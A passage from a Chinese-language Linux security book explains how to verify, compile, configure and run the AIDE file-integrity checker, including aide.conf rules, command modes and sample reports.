AIDE（Advanced Intrusion Detection Environment）通过指定的配置文件aide.conf构建数据库，AIDE数据库存储了文件的变量属性，包括如下属性：权限（perissions）、节点（inode）、用户（user）、组（group）、文件大小（file size）、文件的最后一次被修改时间（mtime）、文件的最后一次被访问时间（atime）、文件的创建时间（links）、连接数（ctime）、增长大小（growing size）。

AIDE也支持加密校验，AIDE还能够使用下列算法：SHA1，SHA256，SHA512，MD5，RMD160，TIGER（GOST和whirlpool需要用到Mhash，因此要使用这两种算法就必须先安装Mhash）。

另外，扩展属性acl、xattr和selinux也可以使用，当然这需要在编译安装时明确支持。

使用AIDE典型的做法如下所示。

系统管理员应该在计算机接入网络之前，在新系统上建立 AIDE 数据库。AIDE 数据库是在系统正常情况下的一个“快照”，这是以后的数据库升级和改变的衡量标准。数据库应该包括关键的二进制文件、库文件和头文件；数据库不应该包括经常性改变的文件，如日志文件、mail spools、proc文件系统、用户主目录（home）和临时目录。

一旦发现系统被侵入，系统管理员将使用ls、lsof、ps、netstat、last和who等一系列系统工具对系统进行检查。然而令系统管理员预料不到的是，可能所有这些系统工具都已经被rootkit程序代替了。可以想象的是，一个已经被修改替换了的 ls 命令或 ps 命令是不会显示任何入侵进程的，甚至这些命令本身就已经是一个被入侵者利用的“后门”程序了。

对于一个被入侵的系统仅仅通过文件的时间日期和大小来判定它是否被利用是不可取的方法，因为时间日期很容易伪造，文件的大小也不可靠，因为被替换的文件可能和替换的文件大小一样。如果系统管理员安装了 AIDE，那么一切将变得容易，只需做一次完整性检测就可以检测出来。可能你会说如果入侵者把AIDE的数据库删除了怎么办。灵活一些嘛，把配置文件和数据库文件放置在只读介质上不就可以了嘛！而且似乎也是必须这样，否则你也不会放心，半夜里想着想着就睡不着了，第二天还得把它刻在光盘上！

AIDE 工具和 Tripwire 软件一样都用来监控系统的变化，它用来监控没有经过许可的文件和目录的改变。AIDE相对于Tripwire来说要简单些，当然功能也就比Tripwire单调些，它是Tripwire的替代品，因为Tripwire过去是商业版，但现在Tripwire对Linux是开源的。




7.1.1 AIDE的功能


1．文件属性监控。

权限（perissions）、节点（inode）、用户（user）、组（group）、文件大小（file size）、文件最后一次被修改时间（mtime）、文件最后一次被访问时间（atime）、文件的创建时间（ctime）、连接数（links）、增长大小（growing size）。

校验和hashes包括SHA1、MD5、RMD160和TIGER；

CRC32、HAVAL和GOST（如果将Mhash编译加入）。

2．简单的文本配置文件和数据库文件。

3．可自定义的规则、变量和宏指令。

4．强大的正则表达式支持有选择的包括或排除被监控的目录和文件。

5．在编译安装时选择--with-zlib选项，那么还支持gzip数据库压缩。

6．单独的静态代码很容易实现Client/Server监控配置。

7．自由软件许可GNU通用公共授权（GNU General Public License）。

AIDE当前由SourceForge维护，其最新版本可以在http://sourceforge.net/projects/aide/找到。

对于AIX 5.1或5.2，在编译安装时要加入--with-gnu-regexp选项；

对于AIX 5.3，有报告说是在使用mhash时出现“Undefined symbol: .rpl_malloc”，这个问题源于头文件mhash_config.h，可以通过删除“#define malloc rpl_malloc”解决。

对于Mac OS X (报告来自版本10.4) / Darwin，在编译安装时要加入--disable-static选项，请注意动态连接是危险的，也是不可取的。

8．大文件支持。对于存储大于2GB的文件，AIDE可利操作系统的大文件支持（LFS）。

配置脚本自动检查正确的定义和功能。如果配置失败，查看编译时的错误包含数字64，那么在配置选项中加入--disable-lfs，关闭大文件支持。




7.1.2 AIDE安装要求


AIDE的安装要求有下列开发工具。

 C 编译器（例如Gcc）

 GNU flex

 GNU yacc（bison）

 GNU make

 Mhash（可选，但是强烈推荐）。Mhash 当前有效的版本可以从http://mhash.sourceforge.net/下载，在编译时加入--enable-static=yes，建立一个静态版本的libmhash。AIDE需要Mhash的版本大于0.9.2。




7.1.3 基本用法


AIDE的基本用法和Tripwire相似，要在系统刚刚安装完成，没有将机器接入网络之前将AIDE软件安装配置并完成数据库初始化。不像Tripwire有4个命令，AIDE只有1个命令，那就是aide命令。用参数--init根据配置文件aide.conf中的配置规则建立数据库，要把建立的数据库存储到只读存储介质上，最好把配置文件和aide命令也保存到只读介质上，由于改变了路径，所以要记得在配置文件中修改路径。当然所说的保存到只读介质上是非必须的，只是一个安全选择的方案，否则一旦系统被入侵或其他人有意或是无意造成的破会导致数据库文件的删除或者丢失，都会使得AIDE没有任何作用。

在以上这些步骤完成后就可以进行完整性检测了，完整性检测使用参数--check，这时 AIDE会通过配置文件aide.conf重新生成完整性检测数据，然后同初始化数据库中的数据做比较,这些操作均对用户透明，所以是看不出来的，而用户最终看到的是一份完整性检测报告，这份报告会告诉用户系统是否有改变。

在检测报告中如果出现了改变，那么就要查明改变的原因，是合法还是非法。如果非法那就必须查明原因，如果合法那就会涉及到升级数据库。任何修改配置文件的行为，如增加或者删除监控对象都必须升级数据库。aide命令升级数据库是通过使用--update参数。aide命令在升级数据库时需要做同样的操作，首先是完整性检测，不同的是升级数据库要生成新的数据库，然后再将新的配置文件和新的数据库保存到只读介质上。如果没有意外的入侵系统更改文件，管理员一般要做的就是“完整性检测—修改配置文件—升级数据库”。

AIDE的工作流程包括如下步骤。

（1）配置aide.conf；

（2）根据aide.conf生成数据库文件；

（3）使用--check 做完整性检测，检测文件系统是否有改变；

（4）查看报告是否有异常；

（5）如有异常，检查异常是否属于正常，如果正常就升级数据库，如果不正常要做特别处理；

（6）修改aide.conf，更新数据库文件或者采取其他措施。




7.1.4 工作流程图


（1）常规模式如图7.1所示。

（2）升级模式如图7.2所示。

[image: figure_0085_0044]
图7.1 常规模式流程图



[image: figure_0085_0045]
图7.2 升级模式流程图






7.1.5 AIDE的最新版本


AIDE于2010-02-22发布最新版aide-0.14-rc1.tar.gz。

相对于Version 0.13.1 版本，Version 0.14 的新功能如下。

 *更新autoconf 机制

 *解决申请许可证冲突

 *摘要新功能

 *添加对prelink 的支持

 *许多bug 的修复




7.2 编译安装





7.2.1 源代码验证


强力推荐检查下载的 AIDE 版本，以确保安装一个原始的、没有被修改的 AIDE。实际上，对每一种下载安装的软件都应该做源代码验证。

在这里可以通过两中方法检查源代码，PGP和MD5，首选PGP验证方法。

利用GnuPG检查源代码的过程如下。

下载AIDE源码和公钥并导入，具体操作如下。

[root@mail ～]#wget \

http://cdnetworks-kr-1.dl.sourceforge.net/project/aide/aide/0.13.1/aide-0.13.1.tar.gz　　　　　　　　　　　　　　//下载aide-0.13.1.tar.gz

[root@mail ～]#wget \

http://cdnetworks-kr-2.dl.sourceforge.net/project/aide/PGP%20key/2005%20key/aide-2005.asc　　　　　　　　　　　　　//下载aide-2005.asc公钥

[root@mail ～]# gpg --import aide-2005.asc　　　//将公钥导入

gpg: key 5930D198: public key "Aide Developers <aide-devel@lists.sourceforge.net>"imported

gpg: Total number processed: 1

gpg:　　　imported: 1

校验PGP的操作如下。

[root@mail ～]# gpg --verify aide-0.13.1.tar.gz.asc //校验PGP

gpg: Signature made Fri 15 Dec 2006 09:00:16 PM CST using DSA key ID 5930D198

gpg: Good signature from "Aide Developers <aide-devel@lists.sourceforge.net>"

gpg: Note: This key has expired!　　//注意：已到期！AIDE于2010-02-22发布最新

//版aide-0.14-rc1.tar.gz 公钥为aide-2010.asc

Primary key fingerprint: 0A83 AFE2 E91B C284 ABF4 949F F4AF A140 5930 D198

这是对最新版aide-0.14-rc1的验证。本人做验证的日期已标出，不知道以后是否可以。

[root@mail ～]# date

Thu Feb 25 15:47:56 CST 2010

[root@mail ～]#wget

http://cdnetworks-kr-1.dl.sourceforge.net/project/aide/aide/0.14-rc1/aide-0.14-rc1. tar.gz

[root@mail ～]# wget

http://cdnetworks-kr-1.dl.sourceforge.net/project/aide/aide/0.14-rc1/aide-0.14-rc1. tar.gz.asc

[root@mail ～]# wget

http://cdnetworks-kr-2.dl.sourceforge.net/project/aide/PGP%20key/2010%20key/aide-20 10.asc

[root@mail ～]#gpg --import aide-2010.asc

[root@mail ～]# gpg --verify aide-0.14-rc1.tar.gz.asc

gpg: Signature made Tue 23 Feb 2010 05:02:29 AM CST using DSA key ID CBF11FCD

gpg: Good signature from "Aide Developers <aide-devel@lists.sourceforge.net>"

gpg: WARNING: This key is not certified with a trusted signature!　//注意：有问题！

gpg:　　There is no indication that the signature belongs to the owner.

Primary key fingerprint: 4D05 1BA3 1D8C E060 A99F 6668 9FC1 CC3D CBF1 1FCD




7.2.2 利用MD5检查


使用md5sum命令验证源代码如下。

[root@mail ～]# md5sum aide-0.14-rc1.tar.gz

e13d4ef4fbd6558c5026306cba556803 aide-0.14-rc1.tar.gz

也可以利用openssl做MD5校验，命令如下。

[root@mail ～]# openssl md5 aide-0.14-rc1.tar.gz

MD5(aide-0.14-rc1.tar.gz)= e13d4ef4fbd6558c5026306cba556803

不过未见官方网站提供MD5的校验值。




7.2.3 configure配置


在安装了必要的软件后就可以安装 AIDE 软件了。安装过程很简单，首先./configure，然后make，再make install就可以了。需要考虑的是以root权限运行的安全性。

在编译安装AIDE之前，需要做一些工作，具体如下。

ANSI C 编译器（例如Gcc）

GNU flex

GNU yacc (bison)

GNU make

AIDE源代码

Mhash（可选，但强烈推荐）。Mhash 当前的有效版本可以从http://mhash.sourceforge.net/下载，在编译时加入--enable-static=yes，建立一个静态版本的 libmhash。Aide 需要 Mhash 的版本大于0.9.2。

如果要使用postgre sql 数据库存储，那么就必须安装postgres sql 开发库。




7.2.4 configure参数


在配置时要利用 AIDE 源代码包中的 configure 脚本，根据需要对选项进行选择。Configure的选择项较多，可以通过./configure--help命令进行查看（这里简要地解释一下）。看一下配置脚本，对于AIDE的功能会有更深的了解。

[root@mail aide-0.13.1]# ./configure --help

‘configure' configures aide 0.13.1 to adapt to many kinds of systems.

Usage: ./configure [OPTION]... [VAR=VALUE]...

To assign environment variables (e.g., CC, CFLAGS...), specify them as

VAR=VALUE. See below for descriptions of some of the useful variables.

Defaults for the options are specified in brackets.

Configuration:

-h, --help　　显示帮助并退出

--help=short　　明确显示该安装包的选项

--help=recursive　简短显示所有包含在该包的其他包

-V, --version　　显示版本信息并退出

-q, --quiet, --silent　不显示‘checking...' 信息

--cache-file=FILE　在FILE缓存测试结果[disabled]

-C, --config-cache　‘--cache-file=config.cache'的别名

-n, --no-create　　不建立输出文件

--srcdir=DIR　　在DIR目录查找源文件[configure dir or ‘..']

设定安装目录：

--prefix=PREFIX　　独立文件安装结构的前缀PREFIX

默认值[/usr/local]

--exec-prefix=EPREFIX　独立文件安装结构的前缀EPREFIX 默认值[PREFIX]

默认情况下，“make install”命令将文件安装在“/usr/local/bin”，

“/usr/local/lib”等目录下，可以通过“--prefix”来指定安装的位置

例如‘--prefix=$HOME'.

为了更好地控制，还可以使用下列选项。

--bindir=DIR　　用户执行命令。默认值：[EPREFIX/bin]

--sbindir=DIR　　系统用户执行命令。默认值：[EPREFIX/sbin]

--libexecdir=DIR　程序执行文件。默认值：[EPREFIX/libexec]

--sysconfdir=DIR　单机只读数据。默认值：[PREFIX/etc]

--sharedstatedir=DIR　可修改的独立结构数据目录。默认值：[PREFIX/com]

--localstatedir=DIR　单机可变数据。默认值：[PREFIX/var]

--libdir=DIR　　库文件。默认值：[EPREFIX/lib]

--includedir=DIR　　C 头文件。默认值：[PREFIX/include]

--oldincludedir=DIR　非gcc 头文件C [/usr/include]

--datarootdir=DIR　设定只读文档的目录[PREFIX/share]

--datadir=DIR　　设定只读数据依赖的数据结构[DATAROOTDIR]

--infodir=DIR　　　info文档目录。默认值：[DATAROOTDIR/info]

--localedir=DIR　　本地依赖数据目录。默认值：[DATAROOTDIR/locale]

--mandir=DIR　　　man文档目录。默认值：[DATAROOTDIR/man]

--docdir=DIR　　文档根目录。默认值：[DATAROOTDIR/doc/aide]

--htmldir=DIR　　　html文档目录。默认值： [DOCDIR]

--dvidir=DIR　　　dvi文档目录。默认值：[DOCDIR]

--pdfdir=DIR　　　pdf文档目录。默认值：[DOCDIR]

--psdir=DIR　　　　ps文档目录。默认值：[DOCDIR]

Program names:

--program-prefix=PREFIX　　在PREFIX前添加的前缀名称

--program-suffix=SUFFIX　　在安装的程序名前添加的前缀名称

--program-transform-name=PROGRAM　在程序名称前运行run sed PROGRAM

Optional Features:

--disable-FEATURE　　　不包括指定的FEATURE（同--enable-FEATURE=no功能一样）

--enable-FEATURE[=ARG]　　包括FEATURE [ARG=yes]

--disable-dependency-tracking　禁止依赖检测

--enable-dependency-tracking　使用依赖性检测

--enable-maintainer-mode　　启用规则，这依赖于规则是否有用

（并且有时会莫名其）导致安装器不关心规则

--disable-static　　　禁用静态链接（降低aide的安全性）

--disable-lfs　　　在32位系统上禁止支持大文件

--enable-forced-configmd

强制配置检查，也可以禁止--config-check

--enable-forced-dbmd　强制文件/管道数据库检查，在下一个版本中将会设为默认值

Optional Packages:　　//可选安装包

--with-PACKAGE[=ARG]　使用PACKAGE [ARG=yes]

--without-PACKAGE　不使用PACKAGE（同 --with-PACKAGE=no一样）

--with-extra-includes　为-I指定其他的路径查找头文件

--with-extra-libs　为-L指定其他的路径查找头库文件

--with-extra-link-libs　指定其他的库链接

--with-mmap　　使用mmap [default=check]

--with-locale　　使用locale

--with-syslog-ident　指定syslog ident

--with-syslog-facility　指定syslog facility

--with-syslog-logopt　指定syslog logopt

--with-syslog-priority　指定syslog priority

--with-zlib　　使用zlib压缩

--with-curl　　　　HTTP、HTTPS和FTP后端使用curl

--with-sun-acl　　在solaris使用ACL（不检测）

--with-posix-acl　使用POSIX ACLs（不检测）

--with-selinux　　使用 SELinux（不检测）

--with-xattr　　使用xattr（不检测）

--with-config-file=config-file　使用config-file作为默认的配置文件

--with-gnu-regexp　使用gnu regexp

--with-mhash　　使用libmhash, hmacs所需[默认检测]

--with-gcrypt　　使用gcrypt库

--with-confighmactype=TYPE

指定用于检查配置的哈希类型，有效的值：

md5, sha1, sha256 and sha512.

--with-confighmackey=KEY HMAC

检测配置使用的哈希key，必须是一个base64编码的字节流，最大长度为31个字符

--with-dbhmactype=TYPE 检测db 的哈希类型 ，有效的值：md5 和 sha1

--with-dbhmackey=KEY HMAC

用于db检测的哈希key，必须是一个base64编码的字节流，最大长度为31个字符

--with-initial-errors-to=URL

打印在配置中出现错误。默认是标准的错误输出stderr

--with-psql　　使用postgresql存储数据库

--with-audit　　使用audit库

Some influential environment variables://设置环境变量

CC　　　　C 编译器命令

CFLAGS　　　C 编译器标志

LDFLAGS　连接标志, e.g. -L<lib dir> 如果你在非标准的目录<lib dir> 中

有库文件，那么可以使用该选项

LIBS　　传递到连接器的库文件，例如 -l<library>

CPPFLAGS　　C/C++/Objective C 预处理标志，例如 -I<include dir>

如果头文件不在标准的位置，那么可以通过该选项指定<include dir>

YACC　　它是‘Yet Another C Compiler'的缩写，该选项有它执行使用。

默认是‘bison -y',’byacc',‘yacc'找到的第一个被使用。

YFLAGS　　传递到默认$YACC的参数列表。这个脚本被缺省使用，YFLAGS将会是空字符串，

这是为了避免一些应用程序使用的‘-d'选项默认值。

CPP　　　C 预处理程序

使用这些变量将会覆盖‘configure'选择中默认的选项，或者是帮助‘configure'来查找非标准名字或者是位置上的库或者程序。

多数时候不需要添加任何选项。如果想使用GNU正则表达式，那么可以加上--with-gnu-regexp选项，有些操作系统必须加上这个选项。

如果想改变AIDE的安装目录，则要使用--prefix选项，示例如下。

./configure --prefix=/usr/local/aide




7.2.5 编译和安装


编译很简单，只需简单地键入“make”命令，然后通过“make install”命令将编译的二进制文件和man文档安装到指定的系统位置。

需要注意的是，二进制文件（命令）尽可能地安装在只读介质上或者是其他比较安全的地方，数据库也要放置在安全的地方。

这里给一点提示，可以把AIDE指定安装在系统的某一单独的目录中，然后将其刻录到光盘，或者其他的移动存储设备，在需要检测时再将移动设备挂入系统；数据库也要放置在只读介质上，它是绝对不能放置在本机上的，否则也就失去检测意义。

[root@mail aide-0.13.1]#./configure --prefix=/usr/local/aide

[root@mail aide-0.13.1]# make

[root@mail aide-0.13.1]# make install

执行此命令编译安装后，会发现在/usr/local/aide 目录下没有 etc 目录，更别说配置文件。但是在执行完整性检测时AIDE会自动到/usr/local/aide/etc目录下查找aide.conf，所以在定制安装完成后，要在参数“--prefix”所指的目录下创建etc目录，并在这个目录下创建aide.conf配置文件。




7.2.6 编写配置文件


有意思的是，AIDE没有默认的配置文件，也没有etc目录，所以在定制安装的时候一定要注意。

在配置文件中aide.conf有3个部分，对应着如下3种语句。

① 配置语句（config lines）：决定AIDE 的操作方式；

② 选择语句（selection lines）：指明将被加入数据库的文件或者被监控的对象；

③ 宏语句（macro lines）：在配置文件中提供了更高级的配置。

以“#”号开始的行表示注释行，AIDE在读取配置文件时将其忽略。




7.2.7 配置文件实例


下面是一个配置文件的实例。

#AIDE conf

# 下列是所有可以检测的属性，默认均有效。

#

#p:　权限

#i:　索引节点

#n:　链接数量

#l:　链接名

#u:　用户

#g:　用户组

#s:　大小

#b:　块数

#m:　最后一次修改时间

#a:　最后一次访问时间

#c:　创建时间

#S:　检查增加的大小

#I:　忽略改变文件名

#md5:　MD5校验

#sha1:　SHA校验

#sha256: SHA256 校验

#sha512: SHA512 校验

#rmd160: RMD160 校验

#tiger: TIGER 校验

#haval: HAVAL 校验

#crc32: CRC32 校验

#R:　　p+i+l+n+u+g+s+m+c+acl+selinux+xattrs+md5

#L:　　p+i+l+n+u+g+acl+selinux+xattrs

#E:　空组

#>:　增长的日志文件 p+l+u+g+i+n+S+acl+selinux+xattrs

#下列属性只对安装是支持了Mhash有效。

#gost:　GOST校验

#whirlpool: whirlpool 校验

#下列属性是明确启用后才有效。

#acl:　访问控制列表

#selinux：　SELinux安全上下文

#xattr:　文件扩展属性

# 可以自己定制规则，例如下列的MyRule：

#

MyRule = p+i+n+u+g+s+b+m+c+md5+sha1

# 下列决定监控的目录和文件。

/etc p+i+u+g　#只检测权限、索引节点、用户和用户组

/bin MyRule　　# 将自定义规则应用在目录/bin上

/sbin MyRule　#将自定义规则应用在目录/sbin上

/var MyRule

!/var/log/.*　# 忽略log目录

!/var/spool/.*　# 忽略 spool目录

!/var/adm/utmp$　# 忽略文件/var/adm/utmp

在这个例子中，AIDE监控了/etc、/bin和/sbin目录，还监控了/var目录，但是忽略了/var/log和/var/spool目录，忽略了单一文件/var/adm/utmp。

一般来说要忽略掉经常改变的目录，除非想看到一个长长的报告。根据实践，要检测的对象不包括临时目录、邮件池、日志目录、proc文件系统、用户主目录（home）和网站内容的目录等任何经常性改变的目录；根据实践，要监控系统二进制文件、库文件和系统源文件等比较重要的文件。




7.2.8 AIDE安装后的目录


[root@mail local]# pwd

/usr/local

[root@mail local]# tree aide/

aide/

|-- bin

| '-- aide

'-- share

'-- man

|-- man1

| '-- aide.1

'-- man5

'-- aide.conf.5

5 directories, 3 files

可以看到，AIDE软件与其他的软件不同之处在于它没有etc目录，也没有自己的配置文件，所以要想使用还得自己加上。在AIDE的解压缩源代码目录中有一个示例配置文件aide.conf，可以在这个配置文件基础上修改使用，当然更推荐自己定制。

[root@mail aide]# pwd

/usr/local/aide

[root@mail aide]mkdir etc

[root@mail aide]cd etc

[root@mail etc]cp /root/aide-0.13.1/doc/aide.conf ./

现在再看一下目录结构。

[root@mail aide]# pwd

/usr/local/aide

[root@mail aide]# cd ..

[root@mail local]# tree aide/

aide/

|-- bin

| '-- aide

|-- etc

| '-- aide. conf

'-- share

'-- man

|-- man1

| '-- aide.1

'-- man5

'-- aide.conf.5

6 directories, 4 files




第8章 使用AIDE


我们在上一章已经认识了AIDE，这一章讲述它的用法。仅有的一个aide命令提供了5种工作模式，从而实现了Tripwire的基本功能。

同 Tripwire 一样，它也需要一个配置文件，以及在配置文件中指定各种规则，以便细化监控的每一个对象。因此在本章将讲述配置文件和AIDE的规则。有关规则的算法，本章只是按照官方的安排方法在这里顺便提一下。读者如果感兴趣可以自行深入研究，在这里本书就不再深入介绍了。

另外，当你看完本章后，一定要与Tripwire比较一下，以便决定使用哪一个软件。




8.1 aide命令


对于aide命令的用法，可以通过选项-h查看一下，命令格式如下。

aide　　[options]　command

↑aide命令　↑可选项　↑子命令

aide命令的用法如下。

[root@mail ～]# /usr/local/aide/bin/aide -h

Aide 0.13.1

Usage: aide [options] command

Commands:

-i, --init　　　　初始化数据库

-C, --check　　　　检测数据库

-u, --update　　　　非交互式地检测和升级数据库

--compare　　　　两个数据库比较

Miscellaneous:

--config-check　　　　测试配置文件

-v, --version　　　　显示AIDE的版本和编译时的选项

-h, --help　　　　显示帮助信息

Options:

-c [cfgfile]　--config=[cfgfile]　从[cfgfile]文件获取配置选项

-B "OPTION"　--before="OPTION"　在读取配置文件之前读取OPTION

-A "OPTION"　--after="OPTION"　在读取配置文件之后读取OPTION

-r [reporter] --report=[reporter]　将输出报告写至[reporter] url

-V[level]　--verbose=[level]　设置调试信息级别[level]




8.1.1 aide命令的5种工作模式


① 完整性检测模式

使用参数--check, -C。

用于完整性检测，在进行此模式之前必须对数据库进行过初始化操作。

命令示例如下。

[root@mail etc]# /usr/local/aide/bin/aide --check

如果完整性检测正常，没有违反策略则结果如下。

[root@mail etc]# /usr/local/aide/bin/aide --check

open_dir():Not a directory: /ip-mac

AIDE, version 0.13.1

### All files match AIDE database. Looks okay!

一个完整性检测发现问题的例子如下。

[root@mail etc]# /usr/local/aide/bin/aide --check

AIDE found differences between database and filesystem!!

Start timestamp: 2010-02-23 15:38:04

Summary:

Total number of files:　　　40

Added files:　　　　　1

Removed files:　　　　　0

Changed files:　　　　　1

---------------------------------------------------

Added files:

---------------------------------------------------

added: /aide/m1

---------------------------------------------------

Changed files:

---------------------------------------------------

changed: /aide

--------------------------------------------------

Detailed information about changes:

---------------------------------------------------

Directory: /aide

Mtime　: 2010-02-23 15:32:36　　　, 2010-02-23 15:37:05

Ctime　: 2010-02-23 15:32:36　　　, 2010-02-23 15:37:05

从检测结果可以看出有新文件建立。

② 数据库初始模式

使用参数--init, -i。

初始化操作的命令如下。

[root@mail etc]# /usr/local/aide/bin/aide --init

初始化数据库完成后，会在目录/usr/local/aide/etc/下生成一个名为 aide.db.new 的文件，这就是初始化数据库文件。在执行完整性检测之前还需要如下操作。

[root@mail etc]# mv /usr/local/aide/etc/aide.db.new /usr/local/aide/etc/aide.db

这是因为AIDE在初始化数据库时默认生成的文件是aide.db.new，而在完整性检测时AIDE默认查找的是aide.db文件，实际上也是在保护无意的修改。

③ 数据库升级模式

使用参数--update, -u。

升级数据库是在完成了检查和修复任务后，用以更新数据库。该样式首先检测数据库，然后查找变化，并且非交互式地升级数据库。

示例命令如下。

[root@mail etc]# /usr/local/aide/bin/aide --update

需要注意的是，升级后生成新的数据库文件名为aide.db.new，这时同样需要执行如下操作。

[root@mail etc]# mv /usr/local/aide/etc/aide.db.new /usr/local/aide/etc/aide.db

④ 数据库比较模式

使用参数–compare。

使用数据库比较模式可以仔细地比较最初的数据库和检测生成的库之间的区别。要比较两个数据库，首先要在配置文件中指定要比较的数据库文件示例如下。

database=file:/usr/local/aide/etc/aide.db

database_new=file:/usr/local/aide/etc/aide.db.new

然后才可以使用如下命令。

[root@mail /]# /usr/local/aide/bin/aide --compare

如果没什么变化，则比较的结果如下。

[root@mail /]# /usr/local/aide/bin/aide --compare

AIDE, version 0.13.1

下面是一个发生了变化的比较，结果如下。

[root@mail /]# /usr/local/aide/bin/aide --compare

AIDE found differences between the two databases!!

Start timestamp: 2010-02-24 09:25:10

Summary:

Total number of files:　　9

Added files:　　　　1

Removed files:　　　　7

Changed files:　　　　1

---------------------------------------------------

Added files:

---------------------------------------------------

added: /tt

---------------------------------------------------

Removed files:

---------------------------------------------------

removed: /aide/m2

removed: /aide/Tue

removed: /aide/j

removed: /aide/m

removed: /aide/m1

removed: /aide/jj

removed: /aide/mm

---------------------------------------------------

Changed files:

---------------------------------------------------

changed: /aide

--------------------------------------------------

Detailed information about changes:

---------------------------------------------------

File: /aide

Mtime　: 2010-02-23 17:15:49　　　, 2010-02-24 08:51:10

Ctime　: 2010-02-23 17:15:49　　　, 2010-02-24 08:51:10

⑤ 配置文件检测模式

使用参数--config-check, -D。

[root@mail etc]# /usr/local/aide/bin/aide --config-check

在检测过程中，配置文件中的任何错误都会导致检测停止，并且指出配置文件的出错行。如果什么消息都没有显示，那将是最好的消息。如果在AIDE安装时指定了"--with-dbhmackey"选项，则还会给出配置文件的hash值。




8.1.2 相关参数


--config=configfile , -c configfile

读取指定的配置文件，而不是“./aide.conf”。使用“-”表示标准输入设备（stdin）。

--before="configparameters" , -B "configparameters"

这里的“configparameters”参数会在读取配置文件之前处理（起作用），有关这些参数的值可以参考示例性配置文件。

--after="configparameters" , -A "configparameters"

这里的“configparameters”参数会在读取配置文件之前后处理（起作用）。有关这些参数的值可以参考示例性配置文件。

--verbose=verbosity_level,-V verbosity_level

控制 aide 显示信息长度，取值范围是[0～255]，默认值是 5。如果没有设置参数值，那么值为20。如果在命令行中设置了这个参数，那么配置文件中的参数值将被覆盖。

--report=reporter,-r reporter

指定报告文件。报告文件通过URL告诉aide命令将检测报告存到何处。可以是file://filename，生成到一个文件，也可以是标准输出设备（stdout）。

[root@mail etc]#/usr/local/aide/bin/aide –check \

--report=file:/var/log/aide/aide$(date +%Y-%m-%d-%H-%M-%S).log

--version,-v

显示aide的版本号。

--help,-h

显示帮助信息。




8.1.3 错误信息


一般情况下，如果没有错误发生，那么退出状态是“0”。使用--check命令除外，它的退出状态如下。

1 *（发现新文件?）

2 *（移除检测到的文件?）

4 *（改变检测到的文件?）

14写入错误

15无效的参数错误

16未实现的功能错误

17无效的配置错误

18 I/O 错误

注意：

由于mmap 的原因，aide 命令不能用SIGTERM结束，而只能用SIGKILL 结束。

[image: figure_0097_0046]


提示：

有两个信号可以停止进程，分别是SIGTERM和SIGKILL。

SIGTERM相对而与比较友好，在进程捕捉这个信号后，根据需要关闭程序。在关闭程序之前，可以结束打开的记录文件和完成正在执行的任务。在某些情况下，例如进程正在进行作业而且不能中断，那么进程就会忽略SIGTERM信号，而不去中断这个进程。对于SIGKILL信号，进程不能忽略，因为这是一个强制执行的信号。如果向一个进程发送SIGKILL信号，那么Linux系统将停止该进程。




8.1.4 相关文件


aide命令的相关文件如下。

默认的配置文件${prefix}/etc/aide.conf

默认的数据库文件${prefix}/etc/aide.db

默认的数据库初始化文件${pre-fix}/etc/aide.db.new




8.2 配置文件





8.2.1 了解配置文件


配置文件aide.conf是AIDE软件用来初始化数据库文件和完整性检查的依据。

首先了解一下AIDE提供的示例性配置文件很有必要，这个示例性配置文件在源代码包解压缩后的doc目录中。

[root@mail aide-0.13.1]# more doc/aide.conf

#

# AIDE 0.13.1

#

# 示例性配置文件

#

# 非常重要，一定要读！

#

# 这个配置文件用于AIDE 包的完整性检测。

#

#该文件不能作为系统的aide.conf 配置文件，该文件仅仅是演示了aide 命令的功能。

#

#

# 要写自己的配置文件，并且要理解自己写的是什么。

#--before

# Default values for the parameters are in comments before the

# corresponding line.

#

@@define TOPDIR ..　　　　　//宏定义TOPDIR为“..”

#以下三条语句首先判断TOPDIR是否被宏定义，如果没有被定义，那么将

# TOPDIR 定义为“/”，以endif 语句结束。

#

@@ifndef TOPDIR　　　　　　//判断TOPDIR是否被宏定义。

@@define TOPDIR /　　　　　　//宏定义TOPDIR为“/”。

@@endif

@@ifdef DEBUG　　　　　　　//如果定义了DEBUG

@@define DEBUG ison　　　　　//设置DEBUG为ison

@@undef NOT_DEBUG　　　　　　//取消宏定义NOT_DEBUG

@@else　　　　　　　　//else结构，if状态else部分的开始

@@define NOT_DEBUG true　　　　//宏定义NOT_DEBUG 为true

@@undef DEBUG　　　　　　　//取消宏定义DEBUG

@@endif　　　　　　　　//结束if结构的宏定义

@@ifhost korppi　　　　　　//如果计算机名是korppi

@@define KORPPI yes　　　　　//宏定义KORPPI为 yes

@@endif　　　　　　　　//结束if结构的宏定义

@@ifnhost ftp　　　　　　　//如果计算机的名字不是ftp

@@define BUMMER true　　　　　//宏定义BUMMER 为true

@@endif　　　　　　　　//结束if结构的宏定义

# 指定被读取的数据库的位置和文件名。

#database=file:aide.db

database=file:@@{TOPDIR}/doc/aide.db

# 指定生成数据库的位置和文件名。

#database_out=sql:host:port:database:login_name:passwd:table

//输出到关系型数据库

#database_out=file:aide.db.new　　　//输出到文件

database_out=file:aide.db.new

# 是否要压缩存储到数据库。

# gzip_dbout=no

#verbose=5

verbose=20

#报告的输出形式。

#report_url=stdout　　　　　　//输出到标准输出设备

#其他可能的值

#report_url=stderr　　　　　　//输出到标准错误输出设备

#没有执(NOT IMPLEMENTED) report_url=mailto:root@foo.com

#report_url=file:/tmp/some_file.txt　//输出到文件

#report_url=syslog:LOG_AUTH　　　//输出到syslog

report_url=stdout

# @@{TOPDIR} 在aide 读取配置文件时会被“..”替代

#p:　　权限

……　　　　　　　　　//这里省略了一部分，关于检查属性的解释内容。

#xattr:　文章的扩展属性。

# 规则定义

All=R+a+sha1+rmd160+sha256+sha512+whirlpool

# report_attributes 是一个特别的规则定义，列举在这里的属性总是

#在最后的报告中显示

#report_attributes = u+g

# ignore_list 是一个特别的规则定义，列举在这里的属性

#将不再在最后的报告中显示

#ignore_list = b

#下面定义的属性组是用以检查从Web网站下载的文件的完整性，

#因为从网站下载的总是可疑的

Norm=l+s+n+b+selinux+xattrs+md5+sha1+rmd160+sha256+sha512+whirlpool

# 上面注释掉的规则仅仅用于检测的示例性属性组，

#在具体的使用中要根据实际情况组织

#Selection regexp rule　　　　//正则（regular）选择选项

@@{TOPDIR}/.*　Norm　　　　　//使用Norm属性组

#Equals selection　　　　　　//等于（equals）选择选项

#需要注意的是只对doc 目录监控，而不包括其下的子目录和文件

#=@@{TOPDIR}/doc L

#Negative selection 否定（negative）选择选项，没有必要指定属性检测选项，

#即使指定了也会被忽略

!@@{TOPDIR}/.*～

!@@{TOPDIR}/src/.*\.o

!@@{TOPDIR}/src/(aide|core)$ L

